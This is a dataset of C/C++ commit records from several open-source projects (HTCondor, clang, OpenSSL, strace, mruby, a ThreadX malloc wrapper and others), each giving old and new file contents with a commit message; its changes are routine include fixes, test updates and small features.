<cdf9367a449e45c006fd634227f1832949f6c2a4@intel.com>\n","lang":"C","license":"apache-2.0","repos":"M1cha\/libaroma,M1cha\/libaroma,amarullz\/libaroma,ProjectOpenCannibal\/libaroma,M1cha\/libaroma,amarullz\/libaroma,ProjectOpenCannibal\/libaroma,ProjectOpenCannibal\/libaroma,M1cha\/libaroma,amarullz\/libaroma,amarullz\/libaroma,M1cha\/libaroma,amarullz\/libaroma,ProjectOpenCannibal\/libaroma,ProjectOpenCannibal\/libaroma,M1cha\/libaroma,ProjectOpenCannibal\/libaroma,amarullz\/libaroma,amarullz\/libaroma,ProjectOpenCannibal\/libaroma,M1cha\/libaroma,amarullz\/libaroma,amarullz\/libaroma"}
{"commit":"3ddd22e1ade2716f96439e7d1e3b044217c44b2a","old_file":"src\/adts\/adts_list.h","new_file":"src\/adts\/adts_list.h","old_contents":"\n\n#ifndef _H_ADTS_LIST\n#define _H_ADTS_LIST\n\n#include <string.h>\n#include <stdbool.h>\n#include <inttypes.h>\n\n\/**\n **************************************************************************\n * \\details\n *\n **************************************************************************\n *\/\n#define ADTS_LIST_BYTES      (32)\n#define ADTS_LIST_ELEM_BYTES (32)\n\n\n\/**\n **************************************************************************\n * \\details\n *\n **************************************************************************\n *\/\ntypedef struct {\n    char reserved[ ADTS_LIST_BYTES ];\n} adts_list_t;\n\ntypedef struct {\n    char reserved[ ADTS_LIST_ELEM_BYTES ];\n} adts_list_elem_t;\n\n\n\nvoid\nutest_adts_list( void );\n\n\n#endif \/* _H_ADTS_LIST *\/\n\n","new_contents":"\n\n#ifndef _H_ADTS_LIST\n#define _H_ADTS_LIST\n\n#include <string.h>\n#include <stdbool.h>\n#include <inttypes.h>\n\n\/**\n **************************************************************************\n * \\details\n *\n **************************************************************************\n *\/\n#define ADTS_LIST_BYTES      (32)\n#define ADTS_LIST_ELEM_BYTES (32)\n\n\n\/**\n **************************************************************************\n * \\details\n *\n **************************************************************************\n *\/\ntypedef struct {\n    const char reserved[ ADTS_LIST_BYTES ];\n} adts_list_t;\n\ntypedef struct {\n    const char reserved[ ADTS_LIST_ELEM_BYTES ];\n} adts_list_elem_t;\n\n\n\nvoid\nutest_adts_list( void );\n\n\n#endif \/* _H_ADTS_LIST *\/\n\n","subject":"Make list.h non-modifiabe in ADT","message":"Make list.h non-modifiabe in ADT\n","lang":"C","license":"mit","repos":"78613\/sample,78613\/sample"}
{"commit":"c3900001475664339b0d3c5d63576c190e432d27","old_file":"src\/condor_c++_util\/url_condor.h","new_file":"src\/condor_c++_util\/url_condor.h","old_contents":"#if !defined(_URL_CONDOR_H)\n#define _URL_CONDOR_H\n\n#include <sys\/types.h>\n#include <limits.h>\n#include \"machdep.h\"\n\ntypedef int (*open_function_type)(const char *, int, size_t);\n\nclass URLProtocol {\npublic:\n\tURLProtocol(char *protocol_key, char *protocol_name, \n\t\t\t\topen_function_type protocol_open_func);\n\/*\t\t\t\tint (*protocol_open_func)(const char *, int, size_t)); *\/\n\t~URLProtocol();\n\tchar\t*get_key() { return key; }\n\tchar\t*get_name() { return name; }\n\tint\t\tcall_open_func(const char *fname, int flags, size_t n_bytes)\n\t{ return open_func( fname, flags, n_bytes); }\n\tURLProtocol\t\t*get_next() { return next; }\n\tvoid\tinit() { }\nprivate:\n\tchar\t*key;\n\tchar\t*name;\n\topen_function_type open_func;\n\/*\tint\t\t(*open_func)(const char *, int, size_t); *\/\n\tURLProtocol\t*next;\n};\n\nURLProtocol\t*FindProtocolByKey(const char *key);\nextern \"C\" int open_url( const char *name, int flags, size_t n_bytes );\n#endif\n","new_contents":"#if !defined(_URL_CONDOR_H)\n#define _URL_CONDOR_H\n\n#include <sys\/types.h>\n#include <limits.h>\n\ntypedef int (*open_function_type)(const char *, int, size_t);\n\nclass URLProtocol {\npublic:\n\tURLProtocol(char *protocol_key, char *protocol_name, \n\t\t\t\topen_function_type protocol_open_func);\n\/*\t\t\t\tint (*protocol_open_func)(const char *, int, size_t)); *\/\n\t~URLProtocol();\n\tchar\t*get_key() { return key; }\n\tchar\t*get_name() { return name; }\n\tint\t\tcall_open_func(const char *fname, int flags, size_t n_bytes)\n\t{ return open_func( fname, flags, n_bytes); }\n\tURLProtocol\t\t*get_next() { return next; }\n\tvoid\tinit() { }\nprivate:\n\tchar\t*key;\n\tchar\t*name;\n\topen_function_type open_func;\n\/*\tint\t\t(*open_func)(const char *, int, size_t); *\/\n\tURLProtocol\t*next;\n};\n\nURLProtocol\t*FindProtocolByKey(const char *key);\nextern \"C\" int open_url( const char *name, int flags, size_t n_bytes );\n#endif\n","subject":"Remove the include of machdep.h which didn't need to be there, and didn't work on Solaris.","message":"Remove the include of machdep.h which didn't need to be there, and didn't\nwork on Solaris.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,djw8605\/condor,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,htcondor\/htcondor,djw8605\/condor,djw8605\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/condor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/condor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor"}
{"commit":"94a124ba3e39903511d1a5fb4dc5a50b0e9c1f1f","old_file":"stromx\/runtime\/Locale.h","new_file":"stromx\/runtime\/Locale.h","old_contents":"\/* \n*  Copyright 2014 Matthias Fuchs\n*\n*  Licensed under the Apache License, Version 2.0 (the \"License\");\n*  you may not use this file except in compliance with the License.\n*  You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*  Unless required by applicable law or agreed to in writing, software\n*  distributed under the License is distributed on an \"AS IS\" BASIS,\n*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*  See the License for the specific language governing permissions and\n*  limitations under the License.\n*\/\n\n#ifndef STROMX_RUNTIME_LOCALE_H\n#define STROMX_RUNTIME_LOCALE_H\n\n#include <locale>\n#define L_(id) stromx::runtime::Locale::gettext(id, locale)\n\nnamespace stromx\n{\n    namespace runtime\n    {\n        extern std::locale locale;\n        \n        class Locale\n        {\n        public:\n            static std::string gettext(const char* const id, const std::locale & locale);\n            static std::locale generate(const char* const path, const char* const domain);\n        };\n    }\n}\n\n#endif \/\/ STROMX_RUNTIME_LOCALE_H\n","new_contents":"\/* \n*  Copyright 2014 Matthias Fuchs\n*\n*  Licensed under the Apache License, Version 2.0 (the \"License\");\n*  you may not use this file except in compliance with the License.\n*  You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n*  Unless required by applicable law or agreed to in writing, software\n*  distributed under the License is distributed on an \"AS IS\" BASIS,\n*  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n*  See the License for the specific language governing permissions and\n*  limitations under the License.\n*\/\n\n#ifndef STROMX_RUNTIME_LOCALE_H\n#define STROMX_RUNTIME_LOCALE_H\n\n#include <locale>\n#include \"stromx\/runtime\/Config.h\"\n\n#define L_(id) stromx::runtime::Locale::gettext(id, locale)\n\nnamespace stromx\n{\n    namespace runtime\n    {\n        extern std::locale locale;\n        \n        class STROMX_RUNTIME_API Locale\n        {\n        public:\n            static std::string gettext(const char* const id, const std::locale & locale);\n            static std::locale generate(const char* const path, const char* const domain);\n        };\n    }\n}\n\n#endif \/\/ STROMX_RUNTIME_LOCALE_H\n","subject":"Make runtime locale API available on windows","message":"Make runtime locale API available on windows\n","lang":"C","license":"apache-2.0","repos":"sparsebase\/stromx,uboot\/stromx,uboot\/stromx,sparsebase\/stromx"}
{"commit":"26c08aecc5388ac1fd85ba877538b7e286e50751","old_file":"src\/pdbfile.h","new_file":"src\/pdbfile.h","old_contents":"","new_contents":"\/**\n * Declarations of data structures in PDB files.\n *\n * These are, for the most part, undocumented. At the time of this writing there\n * is no detailed documentation on the PDB file format. Microsoft has open\n * sourced the PDB file format:\n *\n *     https:\/\/github.com\/Microsoft\/microsoft-pdb\n *\n * This is among the worst professional code I've ever seen. It may as well be\n * obfuscated. There is no documentation and the code is horribly crufty and\n * difficult to read. It is a wonder how anyone at Microsoft is able to maintain\n * that obfuscated mess.\n *\n * Since Microsoft hasn't done it, I'll do my best to document the format here\n * as I decrypt it.\n *\n * Common terminology in the microsoft-pdb repository:\n *\n *  - PN  = Page number\n *  - UPN = Universal page number\n *  - CB  = Count of bytes\n *  - FPM = Free page map\n *\/\n#pragma once\n\n\n\/**\n * The PDB file starts with the MultiStream File (MSF) header. There are two\n * types of MSF headers:\n *\n *  1. The PDB 2.0 format.\n *  2. The MSF 7.0 format.\n *\n * These are distinguished by a magic string, but we only care about the second\n * format. Thus, we will ignore the existence of the first because it is a very\n * old format.\n *\/\n\nconst size_t kMaxDirPages = 73;\nconst size_t kMaxPageSize = 0x1000;\nconst char kMsfHeaderMagic[] = \"Microsoft C\/C++ MSF 7.00\\r\\n\\x1a\\x44\\x53\\0\\0\";\n\nstruct MsfHeader {\n    char magic[32];       \/\/ version string\n    uint32_t pageSize;    \/\/ page size\n    uint32_t freePageMap; \/\/ page index of valid FPM\n    uint32_t pageCount;   \/\/ Number of pages\n    uint32_t directorySize; \/\/ Size of the directory in bytes\n    uint32_t reserved;\n    uint32_t pages[kMaxDirPages];\n};\n","subject":"Add initial PDB file format","message":"Add initial PDB file format\n","lang":"C","license":"mit","repos":"jasonwhite\/pepatch,jasonwhite\/pepatch,jasonwhite\/pepatch"}
{"commit":"4e06d09835ac8baa578ba1f0ecff0c9e527a1ee5","old_file":"src\/rebootd.c","new_file":"src\/rebootd.c","old_contents":"","new_contents":"#include <wiringPi.h>\n\n#include <signal.h>\n#include <errno.h>\n#include <unistd.h>\n#include <sys\/reboot.h>\n#include <stdio.h>\n\nvoid gpio4Callback(void) {\n    sync();\n    reboot(RB_AUTOBOOT);\n}\n\nint main(){\n    sigset_t set;\n    int sig;\n    int *sigptr = &sig;\n    int ret_val;\n    sigemptyset(&set);\n    sigaddset(&set, SIGQUIT);\n    sigaddset(&set, SIGINT);\n    sigaddset(&set, SIGTERM);\n    sigprocmask( SIG_BLOCK, &set, NULL );\n\n    wiringPiSetup () ;\n\n    wiringPiISR (4, INT_EDGE_FALLING, &gpio4Callback) ;\n\n    ret_val = sigwait(&set,sigptr);\n    if(ret_val == -1)\n        perror(\"sigwait failed\\n\");\n\n    return 0;\n}\n","subject":"Add reboot programm for demon","message":"Add reboot programm for demon\n","lang":"C","license":"mit","repos":"Kolkir\/orange-pi,Kolkir\/orange-pi,Kolkir\/orange-pi,Kolkir\/orange-pi"}
{"commit":"c09b7287e3768a54a51dd1d64bf949ba7e2e24e4","old_file":"include\/clang\/Basic\/Stack.h","new_file":"include\/clang\/Basic\/Stack.h","old_contents":"\/\/===--- Stack.h - Utilities for dealing with stack space -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ Defines utilities for dealing with stack allocation and stack space.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_BASIC_STACK_H\n#define LLVM_CLANG_BASIC_STACK_H\n\nnamespace clang {\n  \/\/\/ The amount of stack space that Clang would like to be provided with.\n  \/\/\/ If less than this much is available, we may be unable to reach our\n  \/\/\/ template instantiation depth limit and other similar limits.\n  constexpr size_t DesiredStackSize = 8 << 20;\n} \/\/ end namespace clang\n\n#endif \/\/ LLVM_CLANG_BASIC_STACK_H\n","new_contents":"\/\/===--- Stack.h - Utilities for dealing with stack space -------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ Defines utilities for dealing with stack allocation and stack space.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_BASIC_STACK_H\n#define LLVM_CLANG_BASIC_STACK_H\n\n#include <cstddef>\n\nnamespace clang {\n  \/\/\/ The amount of stack space that Clang would like to be provided with.\n  \/\/\/ If less than this much is available, we may be unable to reach our\n  \/\/\/ template instantiation depth limit and other similar limits.\n  constexpr size_t DesiredStackSize = 8 << 20;\n} \/\/ end namespace clang\n\n#endif \/\/ LLVM_CLANG_BASIC_STACK_H\n","subject":"Add missing include for size_t","message":"Add missing include for size_t\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@336261 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"7bc5ce4a79c61ab7238b188f9af48f41ff1392f9","old_file":"fuzz\/fuzzer.h","new_file":"fuzz\/fuzzer.h","old_contents":"\/*\n * Copyright 2016-2021 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * https:\/\/www.openssl.org\/source\/license.html\n * or in the file LICENSE in the source distribution.\n *\/\n\n#include <stdint.h>     \/* for uint8_t *\/\n#include <stddef.h>     \/* for size_t *\/\n\nint FuzzerTestOneInput(const uint8_t *buf, size_t len);\nint FuzzerInitialize(int *argc, char ***argv);\nvoid FuzzerCleanup(void);\n\nvoid FuzzerSetRand(void);\nvoid FuzzerClearRand(void);\n","new_contents":"\/*\n * Copyright 2016-2021 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * https:\/\/www.openssl.org\/source\/license.html\n * or in the file LICENSE in the source distribution.\n *\/\n\n#include <stddef.h>              \/* for size_t *\/\n#include <openssl\/e_os2.h>       \/* for uint8_t *\/\n\nint FuzzerTestOneInput(const uint8_t *buf, size_t len);\nint FuzzerInitialize(int *argc, char ***argv);\nvoid FuzzerCleanup(void);\n\nvoid FuzzerSetRand(void);\nvoid FuzzerClearRand(void);\n","subject":"Use <openssl\/e_os2.h> rather than <stdint.h>","message":"Use <openssl\/e_os2.h> rather than <stdint.h>\n\n<stdint.h> is C99, which means that on older compiler, it can't be included.\nWe have code in <openssl\/e_os2.h> that compensates.\n\nReviewed-by: Matt Caswell <1fa2ef4755a9226cb9a0a4840bd89b158ac71391@openssl.org>\nReviewed-by: Tomas Mraz <2bc6038c3dfca09b2da23c8b6da8ba884dc2dcc2@openssl.org>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/19697)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"b83bb1cc7a748158a3d969d09262f5016bd3dee5","old_file":"reboot.c","new_file":"reboot.c","old_contents":"#include \"defs.h\"\n\n#include \"xlat\/bootflags1.h\"\n#include \"xlat\/bootflags2.h\"\n#include \"xlat\/bootflags3.h\"\n\nSYS_FUNC(reboot)\n{\n\tprintflags(bootflags1, tcp->u_arg[0], \"LINUX_REBOOT_MAGIC_???\");\n\ttprints(\", \");\n\tprintflags(bootflags2, tcp->u_arg[1], \"LINUX_REBOOT_MAGIC_???\");\n\ttprints(\", \");\n\tprintflags(bootflags3, tcp->u_arg[2], \"LINUX_REBOOT_CMD_???\");\n\tif (tcp->u_arg[2] == (long) LINUX_REBOOT_CMD_RESTART2) {\n\t\ttprints(\", \");\n\t\tprintstr(tcp, tcp->u_arg[3], -1);\n\t}\n\treturn RVAL_DECODED;\n}\n","new_contents":"#include \"defs.h\"\n\n#include \"xlat\/bootflags1.h\"\n#include \"xlat\/bootflags2.h\"\n#include \"xlat\/bootflags3.h\"\n\nSYS_FUNC(reboot)\n{\n\tconst unsigned int magic1 = tcp->u_arg[0];\n\tconst unsigned int magic2 = tcp->u_arg[1];\n\tconst unsigned int cmd = tcp->u_arg[2];\n\n\tprintflags(bootflags1, magic1, \"LINUX_REBOOT_MAGIC_???\");\n\ttprints(\", \");\n\tprintflags(bootflags2, magic2, \"LINUX_REBOOT_MAGIC_???\");\n\ttprints(\", \");\n\tprintflags(bootflags3, cmd, \"LINUX_REBOOT_CMD_???\");\n\tif (cmd == LINUX_REBOOT_CMD_RESTART2) {\n\t\ttprints(\", \");\n\t\tprintstr(tcp, tcp->u_arg[3], -1);\n\t}\n\treturn RVAL_DECODED;\n}\n","subject":"Fix decoding of LINUX_REBOOT_CMD_RESTART2 argument","message":"Fix decoding of LINUX_REBOOT_CMD_RESTART2 argument\n\n* reboot.c (SYS_FUNC(reboot)): Cast numeric arguments to unsigned int.\n","lang":"C","license":"bsd-3-clause","repos":"Saruta\/strace,cuviper\/strace,cuviper\/strace,cuviper\/strace,cuviper\/strace,Saruta\/strace,Saruta\/strace,Saruta\/strace,Saruta\/strace,cuviper\/strace"}
{"commit":"09f760a42b52975948e9c92acb3506295a3e783d","old_file":"tools\/minigame\/minigame.c","new_file":"tools\/minigame\/minigame.c","old_contents":"#include <mruby.h>\r\n#include <mruby\/compile.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n\r\n\r\nint\r\nmain(int argc, char **argv)\r\n{\r\n  mrb_state *mrb;\r\n  mrbc_context *c;\r\n  mrb_value v;\r\n  FILE *fp;\r\n\r\n  fp = fopen(\"init_minigame.rb\", \"rb\");\r\n  if (fp == NULL) {\r\n    fputs(\"Couldn't load 'init_minigame.rb'\", stderr);\r\n    return EXIT_FAILURE;\r\n  }\r\n\r\n  mrb = mrb_open();\r\n  if (mrb == NULL) {\r\n    fputs(\"Invalid mrb_state, exiting mruby\", stderr);\r\n    return EXIT_FAILURE;\r\n  }\r\n\r\n  c = mrbc_context_new(mrb);\r\n\r\n  v = mrb_load_file_cxt(mrb, fp, c);\r\n  fclose(fp);\r\n  mrbc_context_free(mrb, c);\r\n\r\n  if (mrb->exc && !mrb_undef_p(v)) mrb_print_error(mrb);\r\n\r\n  return EXIT_SUCCESS;\r\n}\r\n","new_contents":"#include <mruby.h>\r\n#include <mruby\/compile.h>\r\n#include <windows.h>\r\n#include <stdlib.h>\r\n#include <stdlib.h>\r\n\r\n\r\n#ifdef _WIN32\r\nint WINAPI\r\nWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)\r\n#else\r\nint\r\nmain(int argc, char **argv)\r\n#endif\r\n{\r\n  mrb_state *mrb;\r\n  mrbc_context *c;\r\n  mrb_value v;\r\n  FILE *fp;\r\n\r\n  fp = fopen(\"init_minigame.rb\", \"rb\");\r\n  if (fp == NULL) {\r\n    fputs(\"Couldn't load 'init_minigame.rb'\", stderr);\r\n    return EXIT_FAILURE;\r\n  }\r\n\r\n  mrb = mrb_open();\r\n  if (mrb == NULL) {\r\n    fputs(\"Invalid mrb_state, exiting mruby\", stderr);\r\n    return EXIT_FAILURE;\r\n  }\r\n\r\n  c = mrbc_context_new(mrb);\r\n\r\n  v = mrb_load_file_cxt(mrb, fp, c);\r\n  fclose(fp);\r\n  mrbc_context_free(mrb, c);\r\n\r\n  if (mrb->exc && !mrb_undef_p(v)) mrb_print_error(mrb);\r\n\r\n  return EXIT_SUCCESS;\r\n}\r\n","subject":"Add WinMain for windows platform","message":"Add WinMain for windows platform\n","lang":"C","license":"mit","repos":"bggd\/mruby-minigame,bggd\/mruby-minigame"}
{"commit":"57e4785123d830cfaa827474485596c9943cd2ae","old_file":"test\/CFrontend\/2007-08-22-CTTZ.c","new_file":"test\/CFrontend\/2007-08-22-CTTZ.c","old_contents":"\/\/ RUN: %llvmgcc -O2 -S -o - -emit-llvm %s | grep {llvm.cttz.i64} | count 1\n\/\/ RUN: %llvmgcc -O2 -S -o - -emit-llvm %s | not grep {lshr}\n\nint bork(unsigned long long x) {\n  return __builtin_ctzll(x);\n}\n","new_contents":"\/\/ RUN: %llvmgcc -O2 -S -o - %s | grep {llvm.cttz.i64} | count 2\n\/\/ RUN: %llvmgcc -O2 -S -o - %s | not grep {lshr}\n\nint bork(unsigned long long x) {\n  return __builtin_ctzll(x);\n}\n","subject":"Fix this testcase: there are two matches for llvm.cttz.i64 because of the declaration of the intrinsic. Also, emit-llvm is automatic and doesn't need to be specified.","message":"Fix this testcase: there are two matches for\nllvm.cttz.i64 because of the declaration of\nthe intrinsic.  Also, emit-llvm is automatic\nand doesn't need to be specified.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@41326 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"e1749156066a17bc43f28be7ccaefba33635f8ba","old_file":"test\/CodeGen\/relax.c","new_file":"test\/CodeGen\/relax.c","old_contents":"\/\/ RUN: %clang_cc1 -triple x86_64-pc-linux-gnu -emit-obj --mrelax-relocations %s -mrelocation-model pic -o %t\n\/\/ RUN: llvm-readobj -r %t | FileCheck  %s\n\n\/\/ CHECK: R_X86_64_REX_GOTPCRELX foo\n\nextern int foo;\nint *f(void) {\n  return &foo;\n}\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\/\/ RUN: %clang_cc1 -triple x86_64-pc-linux-gnu -emit-obj --mrelax-relocations %s -mrelocation-model pic -o %t\n\/\/ RUN: llvm-readobj -r %t | FileCheck  %s\n\n\/\/ CHECK: R_X86_64_REX_GOTPCRELX foo\n\nextern int foo;\nint *f(void) {\n  return &foo;\n}\n","subject":"Mark test as requiring x86-registered-target.","message":"Mark test as requiring x86-registered-target.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@271163 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"ebfc10557b1be7f5c4bf320437511f5a1ae5695c","old_file":"tests\/regression\/34-congruence\/01-simple.c","new_file":"tests\/regression\/34-congruence\/01-simple.c","old_contents":"","new_contents":"\/\/PARAM: --enable ana.int.congruence --disable ana.int.def_exc --disable ana.int.enums\n\nint main() {\n\tint a = 1;\n\tint b = 2;\n\tint c = 3;\n\tint d = 4;\n\tint e = 0;\n\n\twhile (d < 9) {\n\t\tb = 2 * a;\n\t\td = d + 4;\n\t\te = e - 4 * a;\n\n\t\ta = b - a;\n\t\tc = e + d;\n\t}\n\n\ta = d \/ 2;\n\tb = d % 2;\n\n\tassert (c == 4); \/\/ UNKNOWN!\n\tassert (d == 12); \/\/ UNKNOWN\n\tassert (a == 6); \/\/ UNKNOWN\n\tassert (b == 0);\n\n\treturn 0;\n}\n","subject":"Add simple regression test for congruence domain","message":"Add simple regression test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6bd2207f5562ce6be8bbf18ec5000580f11d6cba","old_file":"src\/malloc_threadx.c","new_file":"src\/malloc_threadx.c","old_contents":"","new_contents":"#include <stdint.h>\n#include <stdbool.h>\n#include <assert.h>\n#include <threadx\/tx_api.h>\n\n#pragma mark - Definitions -\n\n\/*\n* In this example, I am using the compiler's builtin atomic compare and swap\n* Routine. This will provide atomic access to swapping the malloc pointer,\n* and only one function will initialize the memory pool.\n*\/\n#define atomic_compare_and_swap __sync_val_compare_and_swap\n\n#pragma mark - Prototypes -\n\n#pragma mark - Declarations -\n\n\/\/ ThreadX internal memory pool stucture\nstatic TX_BYTE_POOL malloc_pool_ = {0};\n\n\/*\n* Flag that is used in do_malloc() to cause competing threads to wait until\n* initialization is completed before allocating memory.\n*\/\nvolatile static bool initialized_ = false;\n\n#pragma mark - Private Functions -\n\n\/*\n * init_malloc must be called before memory allocation calls are made\n * This sets up a byte pool for the heap using the defined HEAP_START and HEAP_END macros\n * Size is passed to do_malloc and allocated to the caller\n *\/\n\nvoid malloc_addblock(void *addr, size_t size)\n{\n\tassert(addr && (size > 0));\n\n\tuint8_t r;\n\n\t\/**\n\t* This is ThreadX's API to create a byte pool using a memory block.\n\t* We are essentially just wrapping ThreadX APIs into a simpler form\n\t*\/\n\tr = tx_byte_pool_create(&malloc_pool_, \"Heap Memory Pool\",\n\t\t\taddr,\n\t\t\tsize);\n\tassert(r == TX_SUCCESS);\n\n\t\/\/Signal to any threads waiting on do_malloc that we are done\n\tinitialized_ = true;\n}\n\nvoid * malloc(size_t size)\n{\n\tvoid * ptr = NULL;\n\n\t\/**\n\t* Since multiple threads could be racing to malloc, if we lost the race\n\t* we need to make sure the ThreadX pool has been created before we\n\t* try to allocate memory, or there will be an error\n\t*\/\n\twhile(!initialized_)\n\t{\n\t\ttx_thread_sleep(1);\n\t}\n\n\tif(size > 0)\n\t{\n\t\t\/\/ We simply wrap the threadX call into a standard form\n\t\tuint8_t r = tx_byte_allocate(&malloc_pool_, &ptr, size, TX_WAIT_FOREVER);\n\n\t\t\/\/I add the string to provide a more helpful error output.  It's value is always true.\n\t\tassert(r == TX_SUCCESS && \"malloc failed\");\n\t} \/\/else NULL if there was an error\n\n\treturn ptr;\n}\n\nvoid free(void * ptr)\n{\n\t\/\/free should NEVER be called before malloc is init'd\n\tassert(initialized_);\n\n\tif(ptr) {\n\t\t\/\/We simply wrap the threadX call into a standard form\n\t\tuint8_t r = tx_byte_release(ptr);\n\t\tptr = NULL;\n\t\tassert(r == TX_SUCCESS);\n\t}\n}\n","subject":"Add a ThreadX implementation of malloc","message":"Add a ThreadX implementation of malloc\n","lang":"C","license":"mit","repos":"embeddedartistry\/libmalloc"}
